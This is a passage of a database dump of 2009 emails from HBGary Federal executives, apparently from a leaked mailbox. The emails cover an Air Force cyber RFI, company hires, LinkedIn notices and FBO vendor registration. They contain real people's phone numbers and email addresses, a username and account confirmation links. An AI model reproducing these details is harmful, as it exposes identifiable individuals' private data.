https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c72e8be65fc7223a3550f98ab0d63b6e&amp;tab=core&amp;_cview=1\r\n\r\n\r\n -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n___\r\n\r\n\r\nTed Vera | COO | HBGary Federal, Inc.\r\n\r\n\r\nCell Phone 719-237-8623\r\n\r\n\r\nWebsite:  www.hbgary.com\r\n\r\n\r\nEmail:  ted@hbgary.com\r\n\r\n\r\n \r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n',14789,'aaron_hbgary_com/14789.html'),(115,'2009-11-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999652.M45032P3547Q114.eml','\"Ted Vera\" <ted@hbgary.com>','Re: D -- CYBER INTEGRATION ENVIRONMENT','I think they are looking for something more like a range or test and acquisition env.From my iPhoneOn Nov 25, 2009, at 7:33 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nIt&#39;s an open ended BAA.  We could go in with Palantir.On Nov 25, 2009, at 5:23 PM, Aaron Barr wrote:\r\nNorthrop and their cyber range offering Have been aggressively going after this.From my iPhoneOn Nov 25, 2009, at 7:19 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n Bob/Greg,\r\n  Is HBGary engaged on this opportunity? Excerpt and link to FBO.gov below.\r\n v/r\r\n Ted\r\n The CYBER Integration Environment (CIE) provides the IT Infrastructure/services that support the execution of Rapid/Agile acquisition, integration, and sustainment for Air Force Computer Network Defense (CND) / Computer Network Attack (CNA) capabilities depicted in Figure 1 below. The focus of this RFI is to identify IT solutions and infrastructure needed to support acquisition core competency and to bring existing processes into a single framework.\r\n For more technical information, contract Mr. James Palinkas at james.palinkas@lackland.af.mil\r\n https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c72e8be65fc7223a3550f98ab0d63b6e&amp;tab=core&amp;_cview=1\r\n -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623  \r\n\r\n\r\n___\r\nTed Vera | COO | HBGary Federal, Inc.\r\nCell Phone 719-237-8623\r\nWebsite:  www.hbgary.com\r\nEmail:  ted@hbgary.com\r\n \r\n',7790,'aaron_hbgary_com/7790.html'),(116,'2009-11-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999652.M468405P3547Q116.eml','\"Ted Vera\" <ted@hbgary.com>','Re: D -- CYBER INTEGRATION ENVIRONMENT','They are not there yet.  Building isn&#39;t even built.Bath with kidsFrom my iPhoneOn Nov 25, 2009, at 7:49 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nIt looked to me like that was already done, and now they are focusing on research inside the test env.  Not sure if they are in phase 3 yet, but it looks like they&#39;re looking for ideas:\r\n\r\n\r\nPhase 3 Research Concentration Areas:\r\n\r\n\r\nThe primary goal of Phase 3 is to research, design and experiment within the SSTT implementation, called SPRUCE. This involves development of challenge problems and artifacts, and/or solutions to challenge problems, and/or experiments which validate solution of challenge problems. Areas to consider for challenge problems, solutions and experiments include providing software artifacts, benchmarks, executables, source code, design documents, requirements documents, examples, models, fault data, lessons learned, software construction files and tools but are not limited to the technologies listed below:\r\n\r\n\r\n• Measurement Techniques and Software Forensics\r\n\r\n\r\n• Challenges problems, solutions and experiments currently listed in SPRUCE• Provably Correct Code Generation and Automatic Software/System Analysis\r\n\r\n\r\n• Software and Systems Composability • Guarantee System Interoperability• Provably Trusted Components (COTS/GOTS/Hardware) • Model-Based Development for Predictable Software Attributes\r\n\r\n\r\n• Predicting the &quot;-ilities&quot; Early in the Life Cycle• Emerging Technologies&#39; Affect on Software• Automatic Software Optimization (Performance, Power Consumption, ...)\r\n\r\n\r\n• Software Conversion to New Technology (Multi-Core, Cell, ...)• Fighting through Software Failures• Understanding Software• Cyber Critical Software (variant of flight critical software)\r\n\r\n\r\n\r\nTotal funding for this BAA is approximately $18M. The anticipated funding to be obligated under this BAA is broken out by fiscal year as follows: FY 06 - $1.0M; FY 07 - $1.0M; FY 08 - $6.1M; FY 09 - $4.9M; and FY10 - $5.0M. Individual awards will not normally exceed 6 months with dollar amounts ranging between $300K to $400K per year for Phase 1 and will not normally exceed 18 months with dollar amounts ranging between $700K and $3.0M per year for Phase II. Phase III awards will not normally exceed 12 months with dollar amounts ranging between $100K and $750K. Awards of efforts as a result of this announcement will be in the form of contracts, grants, cooperative agreements, or other transactions depending upon the nature of the work proposed.\r\n\r\n\r\n3. SUBMISSION DATES AND TIMES: It is recommended that white papers be received by the following dates to maximize the possibility of award: FY 07 by 31 May 2007; FY 08 by 31 December 2007; FY 09 by 31 December 2008 and, FY 10 by 31 December 2009. White papers will be accepted until 2pm Eastern time on 30 March 2010, but it is less likely that funding will be available in each respective fiscal year after the dates cited. Submission of white papers will be regulated in accordance with FAR 15.208.\r\n\r\n\r\nOn Wed, Nov 25, 2009 at 5:36 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nI think they are looking for something more like a range or test and acquisition env.From my iPhoneOn Nov 25, 2009, at 7:33 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nIt&#39;s an open ended BAA.  We could go in with Palantir.On Nov 25, 2009, at 5:23 PM, Aaron Barr wrote:\r\nNorthrop and their cyber range offering Have been aggressively going after this.From my iPhoneOn Nov 25, 2009, at 7:19 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n Bob/Greg,\r\n  Is HBGary engaged on this opportunity? Excerpt and link to FBO.gov below.\r\n\r\n\r\n\r\n v/r\r\n\r\n\r\n\r\n Ted\r\n\r\n\r\n\r\n The CYBER Integration Environment (CIE) provides the IT Infrastructure/services that support the execution of Rapid/Agile acquisition, integration, and sustainment for Air Force Computer Network Defense (CND) / Computer Network Attack (CNA) capabilities depicted in Figure 1 below. The focus of this RFI is to identify IT solutions and infrastructure needed to support acquisition core competency and to bring existing processes into a single framework.\r\n\r\n\r\n\r\n For more technical information, contract Mr. James Palinkas at james.palinkas@lackland.af.mil\r\n\r\n\r\n\r\n https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c72e8be65fc7223a3550f98ab0d63b6e&amp;tab=core&amp;_cview=1\r\n\r\n\r\n\r\n -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n___\r\n\r\n\r\n\r\nTed Vera | COO | HBGary Federal, Inc.\r\n\r\n\r\n\r\nCell Phone 719-237-8623\r\n\r\n\r\n\r\nWebsite:  www.hbgary.com\r\n\r\n\r\n\r\nEmail:  ted@hbgary.com\r\n\r\n\r\n\r\n \r\n-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n',7403,'aaron_hbgary_com/7403.html'),(117,'2009-11-26','\"LinkedIn Email Confirmation\" <emailconfirm@linkedin.com>','/aaron@hbgary.com/new/1296999652.M659950P3547Q117.eml','\"Aaron Barr\" <aaron@hbgary.com>','Please confirm your email address','\r\n\r\n  \r\n\r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\nClick here to confirm your email address.\r\n\r\nIf the above link does not work, you can paste the following address into your browser:\r\n\r\nhttps://www.linkedin.com/e/cnf/74GQgvacGxZR3E5O7EOQw5Eauzi/\r\n\r\nYou will be asked to log into your account to confirm this email address. Be sure to log in with your current primary email address.\r\n\r\nWe ask you to confirm your email address before sending invitations or requesting contacts at LinkedIn. You can have several email addresses, but one will need to be confirmed at all times to use the system.\r\n\r\nIf you have more than one email address, you can choose one to be your primary email address. This is the address you will log in with, and the address to which we will deliver all email messages regarding invitations and requests, and other system mail.\r\n\r\nThank you for using LinkedIn!\r\n\r\n--The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16003,'aaron_hbgary_com/16003.html'),(118,'2009-11-26','\"LinkedIn Email Confirmation\" <emailconfirm@linkedin.com>','/aaron@hbgary.com/new/1296999652.M838877P3547Q118.eml','\"Aaron Barr\" <aaron@hbgary.com>','Please confirm your email address','\r\n\r\n  \r\n\r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\nClick here to confirm your email address.\r\n\r\nIf the above link does not work, you can paste the following address into your browser:\r\n\r\nhttps://www.linkedin.com/e/cnf/74GQgvacGxZR3E5O7EOQw5Eauzi/\r\n\r\nYou will be asked to log into your account to confirm this email address. Be sure to log in with your current primary email address.\r\n\r\nWe ask you to confirm your email address before sending invitations or requesting contacts at LinkedIn. You can have several email addresses, but one will need to be confirmed at all times to use the system.\r\n\r\nIf you have more than one email address, you can choose one to be your primary email address. This is the address you will log in with, and the address to which we will deliver all email messages regarding invitations and requests, and other system mail.\r\n\r\nThank you for using LinkedIn!\r\n\r\n--The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15267,'aaron_hbgary_com/15267.html'),(119,'2009-11-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999653.M221712P3547Q120.eml','all@hbgary.com,all@hbgary.com','Re: HBGary Federal','To Reiterate Ted\'s comments, we are very excited to be part of the  \r\nteam.  It is truly a fortuitous moment.  The capability you all have  \r\nput together is truly a discriminator in the market place, hopefully  \r\nTed and I can assist the already stellar work being done to get the  \r\nword out on the product line and to extend the business into other  \r\nservices and solutions based cyber and IO markets.  In the next 3  \r\nweeks Ted and I should be getting back west to meet everyone.  I am  \r\nlooking forward to it.\r\n\r\nThanks for the warm welcome.  Happy Thanksgiving.\r\n\r\nAaron\r\n\r\n\r\nOn Nov 25, 2009, at 5:53 PM, Ted Vera wrote:\r\n\r\n> Thank you for the warm welcome everyone.  I am extremely excited  \r\n> about joining the HBGary team!  I\'ve known many of you for years,  \r\n> but for those of you that are unfamiliar with me, I look forward to  \r\n> the chance to meet you sometime in the near future.  HBGary has done  \r\n> an extraordinary job developing an impressive product-lineup with  \r\n> very unique capabilities.  Through HBGary Federal, Aaron and I will  \r\n> leverage and integrate HBGary products bundled with classified  \r\n> services in support of National Cyber Security initiatives and  \r\n> Information Operations within the DoD and Intelligence Community.  I  \r\n> look forward to helping HBGary Federal achieve significant growth in  \r\n> 2010 and beyond.\r\n>\r\n> I wish you all a Happy Thanksgiving!\r\n>\r\n> Ted Vera\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n',13922,'aaron_hbgary_com/13922.html'),(120,'2009-11-26','\"LinkedIn Email Confirmation\" <emailconfirm@linkedin.com>','/aaron@hbgary.com/new/1296999653.M32982P3547Q119.eml','\"Aaron Barr\" <aaron@hbgary.com>','Please confirm your email address','\r\n\r\n  \r\n\r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\nClick here to confirm your email address.\r\n\r\nIf the above link does not work, you can paste the following address into your browser:\r\n\r\nhttps://www.linkedin.com/e/cnf/74GQgvacGxZR3E5O7EOQw5Eauzi/\r\n\r\nYou will be asked to log into your account to confirm this email address. Be sure to log in with your current primary email address.\r\n\r\nWe ask you to confirm your email address before sending invitations or requesting contacts at LinkedIn. You can have several email addresses, but one will need to be confirmed at all times to use the system.\r\n\r\nIf you have more than one email address, you can choose one to be your primary email address. This is the address you will log in with, and the address to which we will deliver all email messages regarding invitations and requests, and other system mail.\r\n\r\nThank you for using LinkedIn!\r\n\r\n--The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10626,'aaron_hbgary_com/10626.html'),(121,'2009-11-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999653.M474672P3547Q121.eml','\"Ted Vera\" <ted@hbgary.com>','Re: D -- CYBER INTEGRATION ENVIRONMENT','I refriended John. &nbsp;I notice that Dan Lindorf is no longer on his friends list.On Nov 25, 2009, at 7:49 PM, Ted Vera wrote:It looked to me like that was already done, and now they are focusing on research inside the test env. &nbsp;Not sure if they are in phase 3 yet, but it looks like they\'re looking for ideas: Phase 3&nbsp;Research Concentration Areas: The primary goal of Phase 3 is to research, design and experiment within the SSTT implementation, called SPRUCE. This involves development of challenge problems and artifacts, and/or solutions to challenge problems, and/or experiments which validate solution of challenge problems. Areas to consider for challenge problems, solutions and experiments include providing software artifacts, benchmarks, executables, source code, design documents, requirements documents, examples, models, fault data, lessons learned, software construction files and tools but are not limited to the technologies listed below: • Measurement Techniques and Software Forensics • Challenges problems, solutions and experiments currently listed in SPRUCE• Provably Correct Code Generation and Automatic Software/System Analysis • Software and Systems Composability&nbsp;• Guarantee System Interoperability• Provably Trusted Components (COTS/GOTS/Hardware)&nbsp;• Model-Based Development for Predictable Software Attributes • Predicting the \"-ilities\" Early in the Life Cycle• Emerging Technologies\' Affect on Software• Automatic Software Optimization (Performance, Power Consumption, ...) • Software Conversion to New Technology (Multi-Core, Cell, ...)• Fighting through Software Failures• Understanding Software• Cyber Critical Software (variant of flight critical software)  Total funding for this BAA is approximately $18M. The anticipated funding to be obligated under this BAA is broken out by fiscal year as follows: FY 06 - $1.0M; FY 07 - $1.0M; FY 08 - $6.1M; FY 09 - $4.9M; and FY10 - $5.0M. Individual awards will not normally exceed 6 months with dollar amounts ranging between $300K to $400K per year for Phase 1 and will not normally exceed 18 months with dollar amounts ranging between $700K and $3.0M per year for Phase II. Phase III awards will not normally exceed 12 months with dollar amounts ranging between $100K and $750K. Awards of efforts as a result of this announcement will be in the form of contracts, grants, cooperative agreements, or other transactions depending upon the nature of the work proposed. 3. SUBMISSION DATES AND TIMES: It is recommended that white papers be received by the following dates to maximize the possibility of award: FY 07 by 31 May 2007; FY 08 by 31 December 2007; FY 09 by 31 December 2008 and, FY 10 by 31 December 2009. White papers will be accepted until 2pm Eastern time on 30 March 2010, but it is less likely that funding will be available in each respective fiscal year after the dates cited. Submission of white papers will be regulated in accordance with FAR 15.208. On Wed, Nov 25, 2009 at 5:36 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: I think they are looking for something more like a range or test and acquisition env.From my iPhoneOn Nov 25, 2009, at 7:33 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote: It\'s an open ended BAA. &nbsp;We could go in with Palantir.On Nov 25, 2009, at 5:23 PM, Aaron Barr wrote: Northrop and their cyber range offering Have been aggressively going after this.From my iPhoneOn Nov 25, 2009, at 7:19 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:  Bob/Greg,  Is HBGary engaged on this opportunity? Excerpt and link to FBO.gov below.  v/r  Ted  The CYBER Integration Environment (CIE) provides the IT Infrastructure/services that support the execution of Rapid/Agile acquisition, integration, and sustainment for Air Force Computer Network Defense (CND) / Computer Network Attack (CNA) capabilities depicted in Figure 1 below. The focus of this RFI is to identify IT solutions and infrastructure needed to support acquisition core competency and to bring existing processes into a single framework.  For more technical information, contract Mr. James Palinkas at james.palinkas@lackland.af.mil  https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=c72e8be65fc7223a3550f98ab0d63b6e&amp;tab=core&amp;_cview=1  -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623     ___ Ted Vera | COO | HBGary Federal, Inc. Cell Phone 719-237-8623 Website: &nbsp;www.hbgary.com Email: &nbsp;ted@hbgary.com   -- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623 ',12156,'aaron_hbgary_com/12156.html'),(122,'2009-11-26','noreply@fbo.gov','/aaron@hbgary.com/new/1296999653.M646306P3547Q122.eml','aaron@hbgary.com','FBO Registration Confirmation','Wednesday, November 25, 2009, 10:20 pm\r\n\r\nDear Aaron Barr:\r\n\r\nWe have received your application for an account for the FBO Vendor System.  Please verify the following information to finalize your registration:\r\n\r\nDetails\r\n--------------------------\r\n\r\n	Duns #: 177487746\r\n	Company: HBGARY FEDERAL, INC.\r\n	Username: adbarr\r\n\r\nIf the above information is correct, please click on the following link or copy and paste it into an internet browser.  Until doing so, you will NOT be able to login.\r\n\r\nLink: https://www.fbo.gov/cverify?ck=25707ed7c858e7b71aeb2909d91f3b37\r\n\r\n',15693,'aaron_hbgary_com/15693.html'),(123,'2009-11-26','noreply@fbo.gov','/aaron@hbgary.com/new/1296999653.M843374P3547Q123.eml','aaron@hbgary.com','Welcome To FBO','Wednesday, November 25, 2009, 10:20 pm\r\n\r\nDear Aaron Barr:\r\n\r\nYour registration for FBO Vendor Module has been verified.  You can begin using the system today.\r\n\r\nLogin Information\r\n---------------------\r\n\r\n	Username: adbarr\r\n\r\nImportant: To login to the system, please make sure that you are entering your username and password in the green \"Vendor\" login box.\r\n\r\nSystem URL:\r\nhttps://www.fbo.gov/\r\n',12081,'aaron_hbgary_com/12081.html'),(124,'2009-11-26','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1296999654.M278459P3547Q125.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 11/25/2009','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Nov 18 - Nov 25\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n\r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Michael Toth has an updated profile (Expertise, Experience)\r\n\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Mohannad H. Gomaa, MBA PMP FE\r\nis now connected to\r\n            Sara Hutchinson\r\n,             Ossama Yousef\r\n,             Ayman Adhair\r\n,       and 5 other people.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Ted Wagner, CISSP, ISSMP, CISM\r\n    is now connected to\r\n        Jack Koons\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Bill Varner\r\nis now connected to\r\n            Heather Young\r\n,             Richard Tallman\r\n             and \r\n            Robert Barone\r\n             \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      RT @dominosugar mention #NoKidHungry in tweet &amp; we&#x2019;ll donate $1 (up to $10K) to @sharestrength to help end child hunger! http://ow.ly/E6YP\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth has joined 2 groups, including\r\n      \r\n      CIOs.com: Chief Information Officer Network\r\n      and\r\n      Horizons Career Transition Program\r\n              \r\n            \r\n\r\n\r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2009, LinkedIn Corporation\r\n    \r\n  \r\n\r\n\r\n    \r\n  \r\n\r\n\r\n',5065,'aaron_hbgary_com/5065.html'),(125,'2009-11-26','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1296999654.M488179P3547Q126.eml','\"Aaron Barr\" <aaron@hbgary.com>','robert frisbie has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and robert are now connected.\r\n\r\n \r\n   \r\n   View robert\'s profile to:\r\n     \r\n       Download robert\'s current contact information\r\n       Write a recommendation for robert\r\n       Find opportunities through robert\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/53066971/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',161,'aaron_hbgary_com/161.html'),(126,'2009-11-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999654.M93132P3547Q124.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Update','________________Ted H. VeraPresident | COOHBGary Federal Inc.719-237-8623Begin forwarded message:\r\nFrom: &quot;Rohlman, William H.&quot; &lt;WILLIAM.H.ROHLMAN@saic.com&gt;Date: November 25, 2009 9:31:49 PM MSTTo: &lt;ted@hbgary.com&gt;\r\nSubject: Re: Update\r\nCongrats, Mr President! I&#39;ll see what I can find out. Bill\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Rohlman, William H.\r\nCc: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSent: Wed Nov 25 13:07:20 2009Subject: Update\r\n\r\nHi Bill,The job search went much quicker than we expected, thank you very much for your help.  Aaron and I joined HBGary, a small business we&#39;ve teamed with over the years that develops some very unique Information Operations software.  We didn&#39;t hear back from Larry Cox regarding our resumes, but we would still like to schedule a meeting to discuss potential teaming on the Romas recompete.  Do you know who is responsible for that capture effort?  If possible, we&#39;d like to set up a face-to-face meeting with Aaron Barr sometime next week in DC.\r\n\r\nHappy Thanksgiving!Ted-- Ted H. VeraPresident | COOHBGary Federal, Inc.719-237-8623\r\n\r\n\r\n',1963,'aaron_hbgary_com/1963.html'),(127,'2009-11-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999660.M575820P3547Q128.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: New Role','From my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: November 23, 2009 6:23:24 PM ESTTo: &quot;kathy.warden@ngc.com&quot; &lt;kathy.warden@ngc.com&gt;Subject: New Role\r\nHi Kathy,Just wanted to send you a note once I landed.  It has been arollercoaster ride these last few weeks.\r\nMantech seems like a great company and Bill gave me am incredibleoffer as a VP deputy for the cyber BU.  I was floored.  But I havechosen to follow my passion and have taken a role as the CEO of HBGary\r\nfederal.  Hbgary has set of discriminating malware analysis productstoday and some other inident respnse based products coming out soon.Ted and I will manage the government and DIB relationships as well as\r\nbegin to build service offerings.  Ted and I will as a small businessalso try to grow some cyber and io work.  This should be exciting.Once I know the products a little better I will probably reach out to\r\nyour team to discuss.Dale might have mentioned but Ted and I have been approached tosupport potential competitors on the romas recompete.  I am not surehow it would work given certain tensions but if there is a way to\r\nsupport the team overall I would like to discuss that.I hope all is well.Aaron From my iPhone\r\n\r\n',12770,'aaron_hbgary_com/12770.html'),(128,'2009-11-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999660.M813024P3547Q129.eml','\"Art Money\" <moneyarthurl@cs.com>','Happy Thanksgiving','Art,\r\n\r\nThank you for your help and advice.  Keyw and IBM have reached out to\r\nme and I will stay in touch.  Although I am sure Bill is a little\r\ndisappointed I didn\'t come to Mantech I am sure I will stay in regular\r\ncontact with his team and we  surely will work on many things together\r\nin the coming months and years.  I really appreciate their environment\r\nand capabilities.\r\n\r\nI am very excited to be forging a path for HBGary.\r\n\r\nI will stay in touch.  Maybe someday soon I will be in a position to\r\nrequest your advisory services at a more formal level.\r\n\r\nVery Respectfully,\r\nAaron\r\n\r\n From my iPhone\r\n',3203,'aaron_hbgary_com/3203.html'),(129,'2009-11-26','\"robert frisbie\" <rf4864@aol.com>','/aaron@hbgary.com/new/1296999660.M91676P3547Q127.eml','\"Aaron Barr\" <aaron@hbgary.com>','greetings','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\nrobert frisbie has sent you a message.\r\n\r\n\r\n  Date:\r\n  11/26/2009\r\n\r\n\r\n  Subject:\r\n  greetings\r\n\r\n\r\n\r\n  So you and Ted left Northrop.  Too bad for NGC.\r\n\r\nI hope you and bill find a mutually favorable way to join Mantech.\r\n\r\n\r\nHave a good Thanksgiving\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',14157,'aaron_hbgary_com/14157.html'),(130,'2009-11-27','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999661.M359905P3547Q131.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','we have a trademark on the use of it for our stuff, not sure about a\r\ncompany name, I\'ll check with Arnold, thanks\r\n\r\nOn Thu, Nov 26, 2009 at 3:55 PM, Aaron Barr  wrote:\r\n> http://www.digitaldnagroup.com/contact-us\r\n> is this a trademark issue?\r\n> Aaron\r\n>\r\n>\r\n> On Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:\r\n>\r\n> Hi John,\r\n>\r\n> I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.  Aaron just\r\n> joined HBGary Federal from Northrup Grumman and has a lot of experience with\r\n> your old employer.  He has his clearance as does his President Ted Vera.\r\n>\r\n> As I told you Greg will be out week of December 7th so perhaps we could all\r\n> meet then.  Please feel free to communicate prior to that as well\r\n>\r\n> Thanks\r\n> Penny\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',16498,'aaron_hbgary_com/16498.html'),(131,'2009-11-27','\"Arthur L. Money\" <moneyarthurl@cs.com>','/aaron@hbgary.com/new/1296999661.M623989P3547Q132.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Happy Thanksgiving','Good luck and lets stay in touch & if it doesn\'t work out I know Bill Varner\r\nwill want to still have you join his new team\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, November 26, 2009 3:27 PM\r\nTo: Art Money\r\nSubject: Happy Thanksgiving\r\n\r\nArt,\r\n\r\nThank you for your help and advice.  Keyw and IBM have reached out to\r\nme and I will stay in touch.  Although I am sure Bill is a little\r\ndisappointed I didn\'t come to Mantech I am sure I will stay in regular\r\ncontact with his team and we  surely will work on many things together\r\nin the coming months and years.  I really appreciate their environment\r\nand capabilities.\r\n\r\nI am very excited to be forging a path for HBGary.\r\n\r\nI will stay in touch.  Maybe someday soon I will be in a position to\r\nrequest your advisory services at a more formal level.\r\n\r\nVery Respectfully,\r\nAaron\r\n\r\n From my iPhone\r\n\r\n',10246,'aaron_hbgary_com/10246.html'),(132,'2009-11-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999661.M834923P3547Q133.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Happy Thanksgiving','From my iPhoneBegin forwarded message:From: &quot;Arthur L. Money&quot; &lt;moneyarthurl@cs.com&gt;\r\nDate: November 27, 2009 1:01:33 PM ESTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Happy Thanksgiving\r\nGood luck and lets stay in touch &amp; if it doesn&#39;t work out I know Bill Varnerwill want to still have you join his new team-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, November 26, 2009 3:27 PMTo: Art MoneySubject: Happy Thanksgiving\r\nArt,Thank you for your help and advice.  Keyw and IBM have reached out tome and I will stay in touch.  Although I am sure Bill is a little\r\ndisappointed I didn&#39;t come to Mantech I am sure I will stay in regularcontact with his team and we  surely will work on many things togetherin the coming months and years.  I really appreciate their environment\r\nand capabilities.I am very excited to be forging a path for HBGary.I will stay in touch.  Maybe someday soon I will be in a position torequest your advisory services at a more formal level.\r\nVery Respectfully,Aaron From my iPhone\r\n',2400,'aaron_hbgary_com/2400.html'),(133,'2009-11-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999661.M87423P3547Q130.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: Introduction','http://www.digitaldnagroup.com/contact-usis this a trademark issue?AaronOn Nov 25, 2009, at 4:02 PM, Penny Hoglund wrote:Hi John,&nbsp;I’d like to introduce you to Aaron Barr, CEO of HBGary Federal.&nbsp; Aaron just joined HBGary Federal from Northrup Grumman and has a lot of experience with your old employer.&nbsp; He has his clearance as does his President Ted Vera.&nbsp;&nbsp;As I told you Greg will be out week of December 7th&nbsp;so perhaps we could all meet then.&nbsp; Please feel free to communicate prior to that as well&nbsp;ThanksPenny',2147,'aaron_hbgary_com/2147.html'),(134,'2009-11-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999662.M308710P3547Q135.eml','\"Hoglund Greg\" <greg@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Demo','Greg,\r\n\r\nDo you have a VMWare image set up for responder demos?\r\n\r\nTed\r\n',11452,'aaron_hbgary_com/11452.html'),(135,'2009-11-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999662.M514410P3547Q136.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Laptops','Hi Deeann,\r\n\r\nJust wondering if u had any success with the laptops.\r\n\r\nI got the business cards 